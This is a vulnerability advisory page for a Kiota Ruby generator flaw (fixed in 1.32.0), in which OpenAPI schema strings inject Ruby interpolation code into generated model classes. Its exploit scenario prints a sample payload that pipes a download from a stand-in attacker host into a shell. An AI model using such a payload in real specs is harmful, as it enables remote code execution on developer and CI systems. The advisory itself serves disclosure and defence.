EUVD-2026-44926Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Untrusted OpenAPI input yields arbitrary Ruby code execution (C/I/A:H), but a developer must actively run generation against the malicious spec, so UI:R; no attacker privileges needed (PR:N).
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
4DescriptionCVE.org
Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.0, Kiota's Ruby generator embedded OpenAPI default fields, property names, and other schema-derived strings through CodeMethodWriter.cs and SanitizeForQuotedLiteral() in Writers/StringExtensions.cs into Ruby double-quoted literals without escaping #, allowing attacker-controlled #{expr}, #$var, or #@var interpolation markers to inject arbitrary Ruby code into generated model classes. This issue is fixed in version 1.32.0.
AnalysisAI
{expr}, #$var, or #@var markers are treated as live Ruby interpolation inside generated model classes. There is no public exploit identified at time of analysis and it is not in CISA KEV, but a fix is confirmed in release v1.32.0.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) use of Kiota's Ruby language generator, (2) the victim generating a client from an OpenAPI description whose schema strings - default values, property/serialization/wire names, indexer parameter names, or discriminator property names - are attacker-controlled, and (3) the resulting generated Ruby code being loaded or run. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The signals here conflict and must be read carefully. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes or supplies a malicious OpenAPI/Swagger document in which a property default or wire name contains a payload like "#{`curl attacker.sh|sh`}". A developer or CI pipeline runs Kiota's Ruby generator against that spec; the payload is written unescaped into a generated model class, and the embedded Ruby executes the moment the generated file is required or the model is instantiated. … |
| Remediation | Vendor-released patch: 1.32.0 - upgrade Kiota to v1.32.0 or later (release https://github.com/microsoft/kiota/releases/tag/v1.32.0; fix in PR https://github.com/microsoft/kiota/pull/7746, commit fee1b648bb4394ba7ba72de9c0ce4f2a0bad0cb6). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Conduct a complete inventory of systems and applications using the affected library to establish scope and identify business-critical dependencies. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Path traversal and code injection in Microsoft Kiota before 1.32.5 lets an attacker-controlled OpenAPI description write
Path traversal in Microsoft Kiota before 1.32.5 lets an attacker-controlled OpenAPI description inject unvalidated `stat
Command injection in Microsoft Kiota before 1.32.5 lets a malicious or compromised OpenAPI description dictate the insta
{...}, $var, or {$obj->prop} are emitted verbatim inside PHP double-quoted literals and interpolated as code when the ge
{}//') demonstrating the break-out.
Code injection in Microsoft Kiota's Python client generator (versions prior to 1.32.0) allows an attacker who controls a
Code injection in Microsoft Kiota versions prior to 1.31.1 allows attackers who control or tamper with OpenAPI descripti
Build-time SSRF, remote file inclusion, and local file inclusion in Microsoft Kiota before 1.32.5 lets an attacker-contr
Arbitrary file write via path traversal in Microsoft Kiota (OpenAPI HTTP client/plugin code generator) before 1.32.5 all
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today